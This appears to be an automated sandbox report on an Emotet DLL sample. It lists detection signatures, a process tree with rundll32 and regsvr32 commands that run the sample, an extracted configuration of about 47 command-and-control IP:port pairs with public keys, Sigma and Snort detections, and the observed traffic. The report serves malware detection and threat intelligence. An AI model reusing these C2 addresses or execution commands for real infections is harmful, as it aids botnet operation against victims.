Edit tour

Windows Analysis Report
aew.ocx

Overview

General Information

Sample Name:	aew.ocx (renamed file extension from ocx to dll)
Analysis ID:	581892
MD5:	99f59e6f3fa993ba594a3d7077cc884d
SHA1:	839599185ae9b84ef7b4cd6bd274f4785b02fd3f
SHA256:	d9381d778e21373428040d10d06da1f739cd527686797aaeaae93a4a9698bb40
Infos:

Detection

Emotet

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Multi AV Scanner detection for submitted file

Yara detected Emotet

System process connects to network (likely due to code injection or exploit)

Antivirus detection for URL or domain

Changes security center settings (notifications, updates, antivirus, firewall)

Machine Learning detection for sample

Sigma detected: Regsvr32 Network Activity

Sigma detected: Regsvr32 Command Line Without DLL

Sigma detected: Suspicious Call by Ordinal

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to dynamically determine API calls

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

AV process strings found (often used to terminate AV products)

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

PE file contains strange resources

Tries to load missing DLLs

Drops PE files to the windows directory (C:\Windows)

Detected TCP or UDP traffic on non-standard ports

Checks if the current process is being debugged

Connects to several IPs in different countries

Potential key logger detected (key state polling based)

Registers a DLL

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries disk information (often used to detect virtual machines)

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 6332 cmdline: loaddll32.exe "C:\Users\user\Desktop\aew.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)

cmd.exe (PID: 6340 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\aew.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 6360 cmdline: rundll32.exe "C:\Users\user\Desktop\aew.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

regsvr32.exe (PID: 6348 cmdline: regsvr32.exe /s C:\Users\user\Desktop\aew.dll MD5: 426E7499F6A7346F0410DEAD0805586B)

regsvr32.exe (PID: 6444 cmdline: C:\Windows\SysWOW64\regsvr32.exe /s "C:\Windows\SysWOW64\Iwjnrtcqqbgfsi\wfsnntpgtibz.klm" MD5: 426E7499F6A7346F0410DEAD0805586B)

rundll32.exe (PID: 6376 cmdline: rundll32.exe C:\Users\user\Desktop\aew.dll,DllRegisterClass MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6520 cmdline: rundll32.exe C:\Users\user\Desktop\aew.dll,DllRegisterServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6604 cmdline: rundll32.exe C:\Users\user\Desktop\aew.dll,DllUnregisterServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

svchost.exe (PID: 6488 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6804 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6928 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6996 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 7064 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 7088 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

MpCmdRun.exe (PID: 6432 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: A267555174BFA53844371226F482B86B)

conhost.exe (PID: 6588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 2768 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Malware Configuration

Threatname: Emotet

{"C2 list": ["209.15.236.39:8080", "162.244.80.68:443", "195.154.253.60:8080", "31.24.158.56:8080", "209.126.98.206:8080", "45.142.114.231:8080", "159.8.59.82:8080", "159.65.88.10:8080", "82.165.152.127:8080", "1.234.2.232:8080", "178.79.147.66:8080", "103.75.201.4:443", "131.100.24.231:80", "129.232.188.93:443", "173.212.193.249:8080", "107.182.225.142:8080", "103.134.85.85:80", "176.104.106.96:8080", "203.114.109.124:443", "216.158.226.206:443", "119.235.255.201:8080", "103.75.201.2:443", "176.56.128.118:443", "195.154.133.20:443", "51.254.140.238:7080", "45.118.115.99:8080", "212.237.56.116:7080", "138.185.72.26:8080", "158.69.222.101:443", "46.55.222.11:443", "79.172.212.216:8080", "81.0.236.90:443", "110.232.117.186:8080", "50.30.40.196:8080", "185.157.82.211:8080", "162.243.175.63:443", "178.128.83.165:80", "153.126.203.229:8080", "50.116.54.215:443", "45.176.232.124:443", "164.68.99.3:8080", "207.38.84.195:8080", "217.182.143.207:443", "212.24.98.99:8080", "45.118.135.203:7080", "58.227.42.236:80", "212.237.17.99:8080"], "Public Key": ["RUNTMSAAAABAX3S2xNjcDD0fBno33Ln5t71eii+mofIPoXkNFOX1MeiwCh48iz97kB0mJjGGZXwardnDXKxI8GCHGNl0PFj5", "RUNLMSAAAADzozW1Di4r9DVWzQpMKT588RDdy7BPILP6AiDOTLYMHkSWvrQO5slbmr1OvZ2Pz+AQWzRMggQmAtO6rPH7nyx2"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.773000453.0000000010001000.00000020.00000800.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.257029910.00000000010D0000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.257963614.0000000010001000.00000020.00000800.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000002.00000002.260001868.0000000010001000.00000020.00000800.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.257163144.0000000010001000.00000020.00000800.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.257451642.0000000004C90000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000002.00000002.259383580.0000000002B80000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.772657336.0000000004B80000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
4.2.rundll32.exe.10000000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
2.2.regsvr32.exe.2b80000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.10d0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.10000000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.regsvr32.exe.4b80000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.4c90000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.10d0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.4c90000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.regsvr32.exe.4b80000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
2.2.regsvr32.exe.2b80000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
2.2.regsvr32.exe.10000000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.regsvr32.exe.10000000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 7 entries

Sigma Signatures

System Summary

Sigma detected: Regsvr32 Network Activity

Source: Network Connection

Author: Dmitriy Lifanov, oscd.community: Data: DestinationIp: 209.15.236.39, DestinationIsIpv6: false, DestinationPort: 8080, EventID: 3, Image: C:\Windows\SysWOW64\regsvr32.exe, Initiated: true, ProcessId: 6444, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49753

Sigma detected: Regsvr32 Command Line Without DLL

Source: Process started

Author: Florian Roth: Data: Command: C:\Windows\SysWOW64\regsvr32.exe /s "C:\Windows\SysWOW64\Iwjnrtcqqbgfsi\wfsnntpgtibz.klm", CommandLine: C:\Windows\SysWOW64\regsvr32.exe /s "C:\Windows\SysWOW64\Iwjnrtcqqbgfsi\wfsnntpgtibz.klm", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: regsvr32.exe /s C:\Users\user\Desktop\aew.dll, ParentImage: C:\Windows\SysWOW64\regsvr32.exe, ParentProcessId: 6348, ProcessCommandLine: C:\Windows\SysWOW64\regsvr32.exe /s "C:\Windows\SysWOW64\Iwjnrtcqqbgfsi\wfsnntpgtibz.klm", ProcessId: 6444

Sigma detected: Suspicious Call by Ordinal

Source: Process started

Author: Florian Roth: Data: Command: rundll32.exe "C:\Users\user\Desktop\aew.dll",#1, CommandLine: rundll32.exe "C:\Users\user\Desktop\aew.dll",#1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\aew.dll",#1, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6340, ProcessCommandLine: rundll32.exe "C:\Users\user\Desktop\aew.dll",#1, ProcessId: 6360

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 4.2.rundll32.exe.10000000.1.unpack

Malware Configuration Extractor: Emotet {"C2 list": ["209.15.236.39:8080", "162.244.80.68:443", "195.154.253.60:8080", "31.24.158.56:8080", "209.126.98.206:8080", "45.142.114.231:8080", "159.8.59.82:8080", "159.65.88.10:8080", "82.165.152.127:8080", "1.234.2.232:8080", "178.79.147.66:8080", "103.75.201.4:443", "131.100.24.231:80", "129.232.188.93:443", "173.212.193.249:8080", "107.182.225.142:8080", "103.134.85.85:80", "176.104.106.96:8080", "203.114.109.124:443", "216.158.226.206:443", "119.235.255.201:8080", "103.75.201.2:443", "176.56.128.118:443", "195.154.133.20:443", "51.254.140.238:7080", "45.118.115.99:8080", "212.237.56.116:7080", "138.185.72.26:8080", "158.69.222.101:443", "46.55.222.11:443", "79.172.212.216:8080", "81.0.236.90:443", "110.232.117.186:8080", "50.30.40.196:8080", "185.157.82.211:8080", "162.243.175.63:443", "178.128.83.165:80", "153.126.203.229:8080", "50.116.54.215:443", "45.176.232.124:443", "164.68.99.3:8080", "207.38.84.195:8080", "217.182.143.207:443", "212.24.98.99:8080", "45.118.135.203:7080", "58.227.42.236:80", "212.237.17.99:8080"], "Public Key": ["RUNTMSAAAABAX3S2xNjcDD0fBno33Ln5t71eii+mofIPoXkNFOX1MeiwCh48iz97kB0mJjGGZXwardnDXKxI8GCHGNl0PFj5", "RUNLMSAAAADzozW1Di4r9DVWzQpMKT588RDdy7BPILP6AiDOTLYMHkSWvrQO5slbmr1OvZ2Pz+AQWzRMggQmAtO6rPH7nyx2"]}

Multi AV Scanner detection for submitted file

Source: aew.dll	Virustotal: Detection: 61%	Perma Link
Source: aew.dll	Metadefender: Detection: 31%	Perma Link
Source: aew.dll	ReversingLabs: Detection: 64%

Antivirus detection for URL or domain

Source: https://195.154.253.60:8080/6	Avira URL Cloud: Label: malware
Source: https://195.154.253.60:8080/AVexGzzyiihRagAxeNDZighlOxUpKHuHNrrwdwWUHupnLhwyoqdbNjHCZority	Avira URL Cloud: Label: malware
Source: https://195.154.253.60:8080/AVexGzzyiihRagAxeNDZighlOxUpKHuHNrrwdwWUHupnLhwyoqdbNjHCZ	Avira URL Cloud: Label: malware
Source: https://31.24.158.56:8080/rKfAlq	Avira URL Cloud: Label: malware
Source: https://31.24.158.56:8080/	Avira URL Cloud: Label: malware
Source: https://31.24.158.56:8080/rKfAl	Avira URL Cloud: Label: malware
Source: https://209.126.98.206:8080/HhGUXtGlTZuCDlYKbbh	Avira URL Cloud: Label: malware

Machine Learning detection for sample

Source: aew.dll

Joe Sandbox ML: detected

Source: aew.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: aew.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EB57121 __EH_prolog3_GS,GetFullPathNameA,PathIsUNCA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrlenA,		3_2_6EB57121
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_6EB57121 __EH_prolog3_GS,GetFullPathNameA,PathIsUNCA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrlenA,		5_2_6EB57121

Networking

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic

Snort IDS: 2404322 ET CNC Feodo Tracker Reported CnC Server TCP group 12 192.168.2.7:49758 -> 195.154.253.60:8080

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\regsvr32.exe	Network Connect: 209.15.236.39 144	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Network Connect: 162.244.80.68 187	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Network Connect: 31.24.158.56 144	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Network Connect: 209.126.98.206 144	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Network Connect: 195.154.253.60 144	Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	IPs: 209.15.236.39:8080
Source: Malware configuration extractor	IPs: 162.244.80.68:443
Source: Malware configuration extractor	IPs: 195.154.253.60:8080
Source: Malware configuration extractor	IPs: 31.24.158.56:8080
Source: Malware configuration extractor	IPs: 209.126.98.206:8080
Source: Malware configuration extractor	IPs: 45.142.114.231:8080
Source: Malware configuration extractor	IPs: 159.8.59.82:8080
Source: Malware configuration extractor	IPs: 159.65.88.10:8080
Source: Malware configuration extractor	IPs: 82.165.152.127:8080
Source: Malware configuration extractor	IPs: 1.234.2.232:8080
Source: Malware configuration extractor	IPs: 178.79.147.66:8080
Source: Malware configuration extractor	IPs: 103.75.201.4:443
Source: Malware configuration extractor	IPs: 131.100.24.231:80
Source: Malware configuration extractor	IPs: 129.232.188.93:443
Source: Malware configuration extractor	IPs: 173.212.193.249:8080
Source: Malware configuration extractor	IPs: 107.182.225.142:8080
Source: Malware configuration extractor	IPs: 103.134.85.85:80
Source: Malware configuration extractor	IPs: 176.104.106.96:8080
Source: Malware configuration extractor	IPs: 203.114.109.124:443
Source: Malware configuration extractor	IPs: 216.158.226.206:443
Source: Malware configuration extractor	IPs: 119.235.255.201:8080
Source: Malware configuration extractor	IPs: 103.75.201.2:443
Source: Malware configuration extractor	IPs: 176.56.128.118:443
Source: Malware configuration extractor	IPs: 195.154.133.20:443
Source: Malware configuration extractor	IPs: 51.254.140.238:7080
Source: Malware configuration extractor	IPs: 45.118.115.99:8080
Source: Malware configuration extractor	IPs: 212.237.56.116:7080
Source: Malware configuration extractor	IPs: 138.185.72.26:8080
Source: Malware configuration extractor	IPs: 158.69.222.101:443
Source: Malware configuration extractor	IPs: 46.55.222.11:443
Source: Malware configuration extractor	IPs: 79.172.212.216:8080
Source: Malware configuration extractor	IPs: 81.0.236.90:443
Source: Malware configuration extractor	IPs: 110.232.117.186:8080
Source: Malware configuration extractor	IPs: 50.30.40.196:8080
Source: Malware configuration extractor	IPs: 185.157.82.211:8080
Source: Malware configuration extractor	IPs: 162.243.175.63:443
Source: Malware configuration extractor	IPs: 178.128.83.165:80
Source: Malware configuration extractor	IPs: 153.126.203.229:8080
Source: Malware configuration extractor	IPs: 50.116.54.215:443
Source: Malware configuration extractor	IPs: 45.176.232.124:443
Source: Malware configuration extractor	IPs: 164.68.99.3:8080
Source: Malware configuration extractor	IPs: 207.38.84.195:8080
Source: Malware configuration extractor	IPs: 217.182.143.207:443
Source: Malware configuration extractor	IPs: 212.24.98.99:8080
Source: Malware configuration extractor	IPs: 45.118.135.203:7080
Source: Malware configuration extractor	IPs: 58.227.42.236:80
Source: Malware configuration extractor	IPs: 212.237.17.99:8080

Source: Joe Sandbox View	ASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS
Source: Joe Sandbox View	ASN Name: OnlineSASFR OnlineSASFR

Source: Joe Sandbox View	IP Address: 159.65.88.10 159.65.88.10
Source: Joe Sandbox View	IP Address: 195.154.133.20 195.154.133.20

Source: global traffic	TCP traffic: 192.168.2.7:49753 -> 209.15.236.39:8080
Source: global traffic	TCP traffic: 192.168.2.7:49758 -> 195.154.253.60:8080
Source: global traffic	TCP traffic: 192.168.2.7:49759 -> 31.24.158.56:8080
Source: global traffic	TCP traffic: 192.168.2.7:49760 -> 209.126.98.206:8080

Source: unknown

Network traffic detected: IP country count 24

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756

Source: unknown	TCP traffic detected without corresponding DNS query: 209.15.236.39
Source: unknown	TCP traffic detected without corresponding DNS query: 209.15.236.39
Source: unknown	TCP traffic detected without corresponding DNS query: 209.15.236.39
Source: unknown	TCP traffic detected without corresponding DNS query: 209.15.236.39
Source: unknown	TCP traffic detected without corresponding DNS query: 209.15.236.39
Source: unknown	TCP traffic detected without corresponding DNS query: 209.15.236.39
Source: unknown	TCP traffic detected without corresponding DNS query: 209.15.236.39
Source: unknown	TCP traffic detected without corresponding DNS query: 209.15.236.39
Source: unknown	TCP traffic detected without corresponding DNS query: 162.244.80.68
Source: unknown	TCP traffic detected without corresponding DNS query: 162.244.80.68
Source: unknown	TCP traffic detected without corresponding DNS query: 162.244.80.68
Source: unknown	TCP traffic detected without corresponding DNS query: 162.244.80.68
Source: unknown	TCP traffic detected without corresponding DNS query: 162.244.80.68
Source: unknown	TCP traffic detected without corresponding DNS query: 162.244.80.68
Source: unknown	TCP traffic detected without corresponding DNS query: 162.244.80.68
Source: unknown	TCP traffic detected without corresponding DNS query: 162.244.80.68
Source: unknown	TCP traffic detected without corresponding DNS query: 162.244.80.68
Source: unknown	TCP traffic detected without corresponding DNS query: 162.244.80.68
Source: unknown	TCP traffic detected without corresponding DNS query: 195.154.253.60
Source: unknown	TCP traffic detected without corresponding DNS query: 195.154.253.60
Source: unknown	TCP traffic detected without corresponding DNS query: 195.154.253.60
Source: unknown	TCP traffic detected without corresponding DNS query: 31.24.158.56
Source: unknown	TCP traffic detected without corresponding DNS query: 31.24.158.56
Source: unknown	TCP traffic detected without corresponding DNS query: 209.15.236.39
Source: unknown	TCP traffic detected without corresponding DNS query: 31.24.158.56
Source: unknown	TCP traffic detected without corresponding DNS query: 209.126.98.206
Source: unknown	TCP traffic detected without corresponding DNS query: 209.126.98.206
Source: unknown	TCP traffic detected without corresponding DNS query: 209.126.98.206
Source: unknown	TCP traffic detected without corresponding DNS query: 209.126.98.206
Source: unknown	TCP traffic detected without corresponding DNS query: 209.126.98.206
Source: unknown	TCP traffic detected without corresponding DNS query: 209.126.98.206
Source: unknown	TCP traffic detected without corresponding DNS query: 209.126.98.206
Source: unknown	TCP traffic detected without corresponding DNS query: 209.126.98.206
Source: unknown	TCP traffic detected without corresponding DNS query: 209.126.98.206
Source: unknown	TCP traffic detected without corresponding DNS query: 209.126.98.206
Source: unknown	TCP traffic detected without corresponding DNS query: 209.126.98.206
Source: unknown	TCP traffic detected without corresponding DNS query: 209.126.98.206
Source: unknown	TCP traffic detected without corresponding DNS query: 209.15.236.39
Source: unknown	TCP traffic detected without corresponding DNS query: 209.15.236.39

Source: svchost.exe, 00000006.00000002.613483440.0000020AB969F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 00000006.00000002.613345653.0000020AB9600000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.5.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: regsvr32.exe, 00000005.00000003.295935858.00000000054DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?36f272481d220
Source: svchost.exe, 0000000D.00000002.316168558.000001F3B6613000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: svchost.exe, 0000000B.00000002.772385091.000002677F43E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 0000000B.00000002.772385091.000002677F43E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: regsvr32.exe, 00000005.00000002.772904899.00000000054DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://195.154.253.60:8080/6
Source: regsvr32.exe, 00000005.00000002.772904899.00000000054DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://195.154.253.60:8080/AVexGzzyiihRagAxeNDZighlOxUpKHuHNrrwdwWUHupnLhwyoqdbNjHCZ
Source: regsvr32.exe, 00000005.00000002.772904899.00000000054DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://195.154.253.60:8080/AVexGzzyiihRagAxeNDZighlOxUpKHuHNrrwdwWUHupnLhwyoqdbNjHCZority
Source: regsvr32.exe, 00000005.00000002.772897029.00000000054D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://209.126.98.206:8080/HhGUXtGlTZuCDlYKbbh
Source: regsvr32.exe, 00000005.00000002.772904899.00000000054DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://31.24.158.56:8080/
Source: regsvr32.exe, 00000005.00000002.772904899.00000000054DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://31.24.158.56:8080/rKfAl
Source: regsvr32.exe, 00000005.00000002.772904899.00000000054DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://31.24.158.56:8080/rKfAlq
Source: svchost.exe, 0000000B.00000002.772385091.000002677F43E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com
Source: svchost.exe, 0000000D.00000003.314619723.000001F3B6660000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 0000000B.00000002.772385091.000002677F43E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 0000000B.00000002.772385091.000002677F43E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 0000000D.00000003.314882419.000001F3B665A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000D.00000003.314619723.000001F3B6660000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 0000000D.00000002.316298462.000001F3B663D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 0000000D.00000002.316342063.000001F3B6669000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.314456838.000001F3B6666000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 0000000D.00000003.314619723.000001F3B6660000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 0000000D.00000003.314531207.000001F3B6649000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.316319052.000001F3B664E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 0000000D.00000003.314619723.000001F3B6660000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 0000000D.00000002.316298462.000001F3B663D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 0000000D.00000003.314619723.000001F3B6660000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 0000000D.00000003.314619723.000001F3B6660000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 0000000D.00000003.314619723.000001F3B6660000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 0000000D.00000002.316307336.000001F3B6642000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.315146767.000001F3B6640000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.315557411.000001F3B6641000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 0000000D.00000002.316307336.000001F3B6642000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.315146767.000001F3B6640000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.315557411.000001F3B6641000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 0000000D.00000003.314619723.000001F3B6660000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 0000000D.00000003.314800125.000001F3B665C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.315146767.000001F3B6640000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.316326849.000001F3B665D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 0000000D.00000003.314882419.000001F3B665A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000D.00000002.316326849.000001F3B665D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000D.00000003.314800125.000001F3B665C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.316326849.000001F3B665D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000D.00000003.315285577.000001F3B6645000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.315557411.000001F3B6641000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 0000000D.00000003.314619723.000001F3B6660000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 0000000D.00000002.316298462.000001F3B663D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
